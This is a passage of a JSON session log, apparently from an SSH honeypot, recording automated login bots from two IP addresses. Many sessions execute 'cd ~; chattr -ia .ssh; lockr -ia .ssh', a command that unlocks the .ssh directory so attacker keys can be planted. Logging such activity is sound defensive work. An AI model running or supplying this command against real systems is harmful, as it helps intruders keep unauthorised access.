  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "3fe19526-6644-4a41-8d78-0fd11db91f55",
  "name": "russet-verdant-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 56560,
  "username": "user7",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:46:42.184733+00:00",
  "ended_at": "2026-08-26T12:46:44.008455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf95ad02-064e-487d-b81e-ae5105df031a",
  "name": "glassy-slender-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 56548,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:46:39.156655+00:00",
  "ended_at": "2026-08-26T12:46:40.504014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4003f62-4efb-45ee-993b-df2d0b2a7ee8",
  "name": "peaty-quartz-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48094,
  "username": "pokemon",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:45:19.307141+00:00",
  "ended_at": "2026-08-26T12:45:20.818277+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "6816f6c3-e750-4fb6-90a8-70f2bb83a1a9",
  "name": "spirited-crimson-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48110,
  "username": "pokemon",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:54.892466+00:00",
  "ended_at": "2026-08-26T12:44:57.024554+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aadaf836-64f3-45f2-a618-664c82bd2c68",
  "name": "prairie-painted-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48102,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:51.591671+00:00",
  "ended_at": "2026-08-26T12:44:53.193310+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a5e1788-d8a5-4ac0-8a2a-4c6e1949b2c2",
  "name": "earnest-loyal-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 55832,
  "username": "default",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:42:47.442051+00:00",
  "ended_at": "2026-08-26T12:42:48.198826+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "f41e76a5-e6b6-44bb-b9b1-b6a5bb9d6ff7",
  "name": "meadow-genial-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47894,
  "username": "u1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 853,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:42:46.905584+00:00",
  "ended_at": "2026-08-26T12:42:48.039184+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "ba218c84-9aad-4a7d-a0ab-281eecc3b3c2",
  "name": "dewy-murky-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 53486,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:25.671065+00:00",
  "ended_at": "2026-08-26T12:42:27.161864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad20dc3d-716f-45b1-a927-433e26ddf74b",
  "name": "cunning-velvet-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47910,
  "username": "u1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:23.809180+00:00",
  "ended_at": "2026-08-26T12:42:24.714053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a713de4-1692-4903-9f03-d6048440ffd0",
  "name": "lively-vernal-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:20.095940+00:00",
  "ended_at": "2026-08-26T12:42:21.995958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8bf84ca-d9ed-4a77-8bff-bcb166829e87",
  "name": "fabled-loyal-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47700,
  "username": "nitin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 886,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:40:09.299509+00:00",
  "ended_at": "2026-08-26T12:40:10.905325+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "728fa0bd-911f-4dcd-a95a-d83caf0e97d2",
  "name": "silent-curious-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47716,
  "username": "nitin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:39:46.192684+00:00",
  "ended_at": "2026-08-26T12:39:46.997070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d7a761-d924-465d-9522-7a36570bc020",
  "name": "serene-pewter-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:39:42.396091+00:00",
  "ended_at": "2026-08-26T12:39:44.412963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86d8f685-f280-4c02-bd34-a48150eea369",
  "name": "prickly-quartz-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 47678,
  "username": "us",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:38:01.598089+00:00",
  "ended_at": "2026-08-26T12:38:02.632584+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "3b498e4d-af38-489e-a312-1059578ef19f",
  "name": "ivory-languid-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47502,
  "username": "al",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 863,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:37:29.600578+00:00",
  "ended_at": "2026-08-26T12:37:31.337338+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "b66de7e2-7780-479b-b03a-875c6913e940",
  "name": "shifting-lively-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47516,
  "username": "al",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:37:04.989700+00:00",
  "ended_at": "2026-08-26T12:37:07.103262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4955292c-8fc0-48bc-9436-f19d326b6361",
  "name": "hardy-graceful-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:37:02.297833+00:00",
  "ended_at": "2026-08-26T12:37:03.256510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e2cd64b-311b-46d2-a968-81bcb3cce1c4",
  "name": "bashful-primal-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47294,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 861,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:34:38.057535+00:00",
  "ended_at": "2026-08-26T12:34:39.429294+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "5a16f540-4d17-4a71-a154-5c36773f82f2",
  "name": "sullen-nameless-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47308,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:34:14.310327+00:00",
  "ended_at": "2026-08-26T12:34:15.128387+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9099d732-c76c-4bce-a060-1a262b885ea5",
  "name": "boreal-drifting-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47302,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:34:11.392109+00:00",
  "ended_at": "2026-08-26T12:34:12.594831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb27f786-f25a-4b14-851a-9c3d83201752",
  "name": "russet-granite-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47094,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:31:47.892818+00:00",
  "ended_at": "2026-08-26T12:31:49.654955+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "65159989-e694-47cb-958b-e59d3b97e3fc",
  "name": "steady-bold-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:31:25.196560+00:00",
  "ended_at": "2026-08-26T12:31:26.212890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9310dd9b-f5bc-4cc7-bf2f-d55a4c95e668",
  "name": "spirited-marbled-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47104,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:31:21.563279+00:00",
  "ended_at": "2026-08-26T12:31:23.396839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14907904-df17-41fe-8e29-34189c81ddc2",
  "name": "jovial-quaint-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 39358,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:29:23.397709+00:00",
  "ended_at": "2026-08-26T12:29:24.368360+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "0d06f611-316d-4998-9197-dca43e2f1d03",
  "name": "autumn-gleaming-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 879,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:28:54.695359+00:00",
  "ended_at": "2026-08-26T12:28:56.430434+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0a5f334f-57bf-4ae9-bc1c-8ab9b76340be",
  "name": "foggy-balmy-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:30.994825+00:00",
  "ended_at": "2026-08-26T12:28:32.852397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ad0da72-71fd-4181-b77b-3836a585bc76",
  "name": "sandy-weathered-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:28:27.791830+00:00",
  "ended_at": "2026-08-26T12:28:29.224988+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90967c2e-631d-4651-b13d-c1a3a302f9ba",
  "name": "hushed-daring-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 878,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:26:11.600364+00:00",
  "ended_at": "2026-08-26T12:26:12.993685+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "da32af1c-c6a1-491e-9c2f-1798d9b3fb30",
  "name": "shifting-plush-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:46.507247+00:00",
  "ended_at": "2026-08-26T12:25:47.346293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "516e696d-2d28-4906-b446-49d923519d32",
  "name": "smoky-stoic-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:42.991173+00:00",
  "ended_at": "2026-08-26T12:25:44.742277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3bffe3a-f925-4cb0-881b-fadd46ae51f4",
  "name": "austere-gnarled-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 60674,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:25:26.582652+00:00",
  "ended_at": "2026-08-26T12:25:27.329372+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "cdc27ecd-683e-46f4-9005-561cee45df53",
  "name": "ivory-rustic-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:04.776185+00:00",
  "ended_at": "2026-08-26T12:25:06.408970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a79afc1b-5d67-4372-91b6-cf26228ad2c8",
  "name": "verdant-lanky-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 859,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:23:35.889598+00:00",
  "ended_at": "2026-08-26T12:23:37.501096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "095e506b-2171-4ea4-8c00-db3c299b53f2",
  "name": "somber-steady-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:23:11.998484+00:00",
  "ended_at": "2026-08-26T12:23:13.292815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18e69e2d-0cf6-4da1-8bbd-391dd445256c",
  "name": "scarlet-smoky-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:23:08.105085+00:00",
  "ended_at": "2026-08-26T12:23:10.194818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5105c764-41be-4799-9919-317103f5e077",
  "name": "gleaming-daring-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46286,
  "username": "junin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 866,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:20:52.729954+00:00",
  "ended_at": "2026-08-26T12:20:53.790316+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "328227ba-1abd-47c2-b06f-58324d753c8f",
  "name": "forlorn-opal-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 57960,
  "username": "nexus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:50.086096+00:00",
  "ended_at": "2026-08-26T12:20:51.340643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "804c52a7-8819-4ddd-9dae-ea087dc5159a",
  "name": "rapid-genial-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 48088,
  "username": "nexus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:20:39.738526+00:00",
  "ended_at": "2026-08-26T12:20:40.715686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "9e1e2435-7923-4a90-abbb-49574cbf1431",
  "name": "marbled-leafy-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46306,
  "username": "junin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:28.417142+00:00",
  "ended_at": "2026-08-26T12:20:29.689702+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3e72e84-3922-4b90-9fd8-bae942d7612c",
  "name": "solar-ashen-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46294,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:24.866382+00:00",
  "ended_at": "2026-08-26T12:20:26.743009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf2acddd-96f5-4f8f-a250-7235fafc5f74",
  "name": "quartz-merry-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46086,
  "username": "casa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 866,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:18:12.687619+00:00",
  "ended_at": "2026-08-26T12:18:13.899076+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2234
 },
 {
  "id": "0465e48f-9763-4d42-850b-573937b68b41",
  "name": "glassy-prairie-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46104,
  "username": "casa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:17:48.992484+00:00",
  "ended_at": "2026-08-26T12:17:50.794057+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc23aaf9-6a61-4006-9a14-8454af4627cd",
  "name": "somber-vaulted-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46094,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:17:45.591698+00:00",
  "ended_at": "2026-08-26T12:17:47.293192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73863ef6-1f6f-4897-af45-1c5a57f6396d",
  "name": "genial-bold-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 39626,
  "username": "andrey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 601,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:16:47.678353+00:00",
  "ended_at": "2026-08-26T12:16:48.455967+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "6f072f35-081c-46fb-be60-2d6a843c6c08",
  "name": "craggy-sincere-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47494,
  "username": "andrey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:16:32.830072+00:00",
  "ended_at": "2026-08-26T12:16:34.129848+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47ad34cc-c8c0-4493-8888-a8766df6f3aa",
  "name": "lanky-hushed-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 39640,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:16:28.892895+00:00",
  "ended_at": "2026-08-26T12:16:30.076308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8214b350-ff89-48e2-8fc9-1322ba610469",
  "name": "proud-granite-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 841,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:15:22.489710+00:00",
  "ended_at": "2026-08-26T12:15:23.905239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "27a1f416-7522-4984-a555-5f07d0ebe4c9",
  "name": "misty-obsidian-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:59.789963+00:00",
  "ended_at": "2026-08-26T12:15:00.588831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "971493bc-dfc8-4a3c-98b8-157366e73303",
  "name": "merry-zealous-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:56.256257+00:00",
  "ended_at": "2026-08-26T12:14:58.089846+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
